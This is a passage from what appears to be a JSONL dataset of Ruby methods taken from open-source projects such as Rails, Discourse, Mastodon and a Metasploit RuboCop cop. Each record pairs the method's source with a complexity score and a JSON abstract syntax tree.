end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expires_now_with_cache_control_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"conditional_hello_with_cache_control_headers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"no-cache\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"no-transform\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"2c552cfe-88ae-4cd7-90cc-fab6f57e1154"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":261,"raw_source":"def test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse\n    has_one_with_inverse_ref = Human.reflect_on_association(:face)\n    assert_predicate has_one_with_inverse_ref, :has_inverse?\n\n    has_many_with_inverse_ref = Human.reflect_on_association(:interests)\n    assert_predicate has_many_with_inverse_ref, :has_inverse?\n\n    belongs_to_with_inverse_ref = Face.reflect_on_association(:human)\n    assert_predicate belongs_to_with_inverse_ref, :has_inverse?\n\n    has_one_without_inverse_ref = Club.reflect_on_association(:sponsor)\n    assert_not_predicate has_one_without_inverse_ref, :has_inverse?\n\n    has_many_without_inverse_ref = Club.reflect_on_association(:memberships)\n    assert_not_predicate has_many_without_inverse_ref, :has_inverse?\n\n    belongs_to_without_inverse_ref = Sponsor.reflect_on_association(:sponsor_club)\n    assert_not_predicate belongs_to_without_inverse_ref, :has_inverse?\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_one_with_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"face\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"has_one_with_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"has_many_with_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"interests\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"has_many_with_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"belongs_to_with_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Face\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"human\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"belongs_to_with_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"has_one_without_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"sponsor\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"has_one_without_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"has_many_without_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"memberships\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"has_many_without_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"belongs_to_without_inverse_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sponsor\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"sponsor_club\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"belongs_to_without_inverse_ref\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]}]}]}","id":"cc017be3-fdbc-4df1-892b-1a6284ea09c4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":145,"raw_source":"def visit_Arel_Nodes_SelectCore(o, collector)\n          collector << \"SELECT\"\n\n          collector = collect_optimizer_hints(o, collector)\n          collector = maybe_visit o.set_quantifier, collector\n\n          collect_nodes_for o.projections, collector, \" \"\n\n          if o.source && !o.source.empty?\n            collector << \" FROM \"\n            collector = visit o.source, collector\n          end\n\n          collect_nodes_for o.wheres, collector, \" WHERE \", \" AND \"\n          collect_nodes_for o.groups, collector, \" GROUP BY \"\n          collect_nodes_for o.havings, collector, \" HAVING \", \" AND \"\n          collect_nodes_for o.windows, collector, \" WINDOW \"\n\n          maybe_visit o.comment, collector\n        end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_SelectCore\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"SELECT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"collect_optimizer_hints\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"set_quantifier\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"projections\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"source\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" FROM \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"source\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"wheres\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" WHERE \"]},{\"type\":\"str\",\"children\":[\" AND \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"groups\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" GROUP BY \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"havings\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" HAVING \"]},{\"type\":\"str\",\"children\":[\" AND \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"windows\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" WINDOW \"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"comment\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"db406799-6569-4178-ae9f-0645cd5f15c2"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/action.rb","start_line":64,"raw_source":"def params\n        warn { \"Direct access to Rack parameters is discouraged, use `url_params` or `route_params` (at #{caller(3..3).first})\" }\n        request.params\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Direct access to Rack parameters is discouraged, use `url_params` or `route_params` (at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[3]}]}]},\"first\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]}]}]}","id":"85d42a1b-045f-40e2-b7d6-418a0b5de24d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/base.rb","start_line":40,"raw_source":"def click_outside\n        find(\".d-modal\").click(x: 0, y: 0)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_outside\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".d-modal\"]}]},\"click\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"24f9bd94-1f66-449b-ac51-1fb00f2d4feb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/status_reach_finder.rb","start_line":96,"raw_source":"def distributable?\n    @status.public_visibility? || @status.unlisted_visibility?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"distributable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"public_visibility?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"unlisted_visibility?\"]}]}]}","id":"e48e1c84-54ed-4f26-ab58-7925e0cdc7b6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":939,"raw_source":"def extended_type_map(default_timezone:) # :nodoc:\n          Type::TypeMap.new(self::TYPE_MAP).tap do |m|\n            register_class_with_precision m, %r(\\A[^\\(]*time)i, Type::Time, timezone: default_timezone\n            register_class_with_precision m, %r(\\A[^\\(]*datetime)i, Type::DateTime, timezone: default_timezone\n            m.alias_type %r(\\A[^\\(]*timestamp)i, \"datetime\"\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extended_type_map\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"default_timezone\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"TypeMap\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"self\",\"children\":[]},\"TYPE_MAP\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_class_with_precision\",{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[^\\\\(]*time\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"Time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"lvar\",\"children\":[\"default_timezone\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_class_with_precision\",{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[^\\\\(]*datetime\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"DateTime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"lvar\",\"children\":[\"default_timezone\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"alias_type\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[^\\\\(]*timestamp\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"datetime\"]}]}]}]}]}","id":"170ea81b-1a41-4fc6-a8a0-300cc595a243"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake_test.rb","start_line":262,"raw_source":"def test_scaffold_with_references_columns_tests_pass_by_default\n      rails \"generate\", \"model\", \"Product\"\n      rails \"generate\", \"model\", \"Cart\"\n      rails \"generate\", \"scaffold\", \"LineItems\", \"product:references\", \"cart:belongs_to\"\n      with_rails_env(\"test\") do\n        rails(\"db:migrate\")\n      end\n      output = rails(\"test\")\n\n      assert_match(/7 runs, 11 assertions, 0 failures, 0 errors/, output)\n      assert_no_match(/Errors running/, output)\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_with_references_columns_tests_pass_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"generate\"]},{\"type\":\"str\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"Product\"]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"generate\"]},{\"type\":\"str\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"Cart\"]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"generate\"]},{\"type\":\"str\",\"children\":[\"scaffold\"]},{\"type\":\"str\",\"children\":[\"LineItems\"]},{\"type\":\"str\",\"children\":[\"product:references\"]},{\"type\":\"str\",\"children\":[\"cart:belongs_to\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_rails_env\",{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"db:migrate\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"7 runs, 11 assertions, 0 failures, 0 errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Errors running\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"59e247c1-9852-4fea-b604-d326082f08f7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/sharepoint/services/create_managed_list_service_spec.rb","start_line":81,"raw_source":"def list_uri(name)\n              site_url = URI.parse(storage.host).host\n\n              \"https://graph.microsoft.com/v1.0/sites/#{site_url}:/sites/OPTest:/lists/#{CGI.escape_uri_component(name)}\"\n            end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"list_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"site_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"host\"]}]},\"host\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://graph.microsoft.com/v1.0/sites/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_url\"]}]},{\"type\":\"str\",\"children\":[\":/sites/OPTest:/lists/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape_uri_component\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"d904b208-7c3f-46ab-8c32-865d80ea0f21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking.rb","start_line":79,"raw_source":"def track_and_raise_for_dev_exception(exception, extra = {}, tags = {})\n        process_exception(exception, extra: extra, tags: tags)\n\n        raise exception if should_raise_for_dev?\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"track_and_raise_for_dev_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"optarg\",\"children\":[\"extra\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"lvar\",\"children\":[\"extra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_raise_for_dev?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null]}]}]}","id":"ca1efef6-203a-41e7-86a8-11c745383775"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rubocop/cop/layout/extra_spacing_with_bindata_ignored.rb","start_line":15,"raw_source":"def ignored_ranges(ast)\n          return [] unless ast\n          return @ignored_ranges if @ignored_ranges\n\n          ignored_bindata_ranges = on_node(:class, ast).map do |clazz|\n            next unless bindata?(clazz)\n\n            clazz.source_range.begin_pos..clazz.source_range.end_pos\n          end.compact\n\n          @ignored_ranges = super + ignored_bindata_ranges\n        end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ignored_ranges\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignored_ranges\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignored_ranges\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ignored_bindata_ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_node\",{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"ast\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clazz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bindata?\",{\"type\":\"lvar\",\"children\":[\"clazz\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clazz\"]},\"source_range\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clazz\"]},\"source_range\"]},\"end_pos\"]}]}]}]},\"compact\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ignored_ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"lvar\",\"children\":[\"ignored_bindata_ranges\"]}]}]}]}]}","id":"bf67dc8b-62fe-4f61-a0dd-53fec43dd0b4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/request_encoder.rb","start_line":21,"raw_source":"def initialize(mime_name, param_encoder, response_parser, content_type)\n      @mime = Mime[mime_name]\n\n      unless @mime\n        raise ArgumentError, \"Can't register a request encoder for \" \\\n          \"unregistered MIME Type: #{mime_name}. See `Mime::Type.register`.\"\n      end\n\n      @response_parser = response_parser || -> body { body }\n      @param_encoder   = param_encoder   || :\"to_#{@mime.symbol}\".to_proc\n      @content_type    = content_type    || @mime.to_s\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mime_name\"]},{\"type\":\"arg\",\"children\":[\"param_encoder\"]},{\"type\":\"arg\",\"children\":[\"response_parser\"]},{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mime_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mime\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't register a request encoder for \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unregistered MIME Type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_name\"]}]},{\"type\":\"str\",\"children\":[\". See `Mime::Type.register`.\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_parser\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_parser\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@param_encoder\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_encoder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"to_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mime\"]},\"symbol\"]}]}]},\"to_proc\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@content_type\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mime\"]},\"to_s\"]}]}]}]}]}","id":"157a7dca-6b44-476f-bfd1-0d24f857afee"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250125162658_fix_broken_open_ai_embeddings_config.rb","start_line":34,"raw_source":"def model_attrs(model_name)\n    if model_name == \"text-embedding-3-large\"\n      {\n        dimensions: 2000,\n        max_sequence_length: 8191,\n        id: 7,\n        pg_function: \"<=>\",\n        tokenizer_class: \"DiscourseAi::Tokenizer::OpenAiTokenizer\",\n        matryoshka_dimensions: true,\n        provider_params: {\n          model_name: \"text-embedding-3-large\",\n        },\n      }\n    elsif model_name == \"text-embedding-3-small\"\n      {\n        dimensions: 1536,\n        max_sequence_length: 8191,\n        id: 6,\n        pg_function: \"<=>\",\n        tokenizer_class: \"DiscourseAi::Tokenizer::OpenAiTokenizer\",\n        provider_params: {\n          model_name: \"text-embedding-3-small\",\n        },\n      }\n    else\n      {\n        dimensions: 1536,\n        max_sequence_length: 8191,\n        id: 2,\n        pg_function: \"<=>\",\n        tokenizer_class: \"DiscourseAi::Tokenizer::OpenAiTokenizer\",\n        provider_params: {\n          model_name: \"text-embedding-ada-002\",\n        },\n      }\n    end\n  end","complexity_score":6.83,"ast_json":"{\"type\":\"def\",\"children\":[\"model_attrs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"text-embedding-3-large\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dimensions\"]},{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_sequence_length\"]},{\"type\":\"int\",\"children\":[8191]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pg_function\"]},{\"type\":\"str\",\"children\":[\"<=>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokenizer_class\"]},{\"type\":\"str\",\"children\":[\"DiscourseAi::Tokenizer::OpenAiTokenizer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"matryoshka_dimensions\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"str\",\"children\":[\"text-embedding-3-large\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"text-embedding-3-small\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dimensions\"]},{\"type\":\"int\",\"children\":[1536]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_sequence_length\"]},{\"type\":\"int\",\"children\":[8191]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pg_function\"]},{\"type\":\"str\",\"children\":[\"<=>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokenizer_class\"]},{\"type\":\"str\",\"children\":[\"DiscourseAi::Tokenizer::OpenAiTokenizer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"str\",\"children\":[\"text-embedding-3-small\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dimensions\"]},{\"type\":\"int\",\"children\":[1536]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_sequence_length\"]},{\"t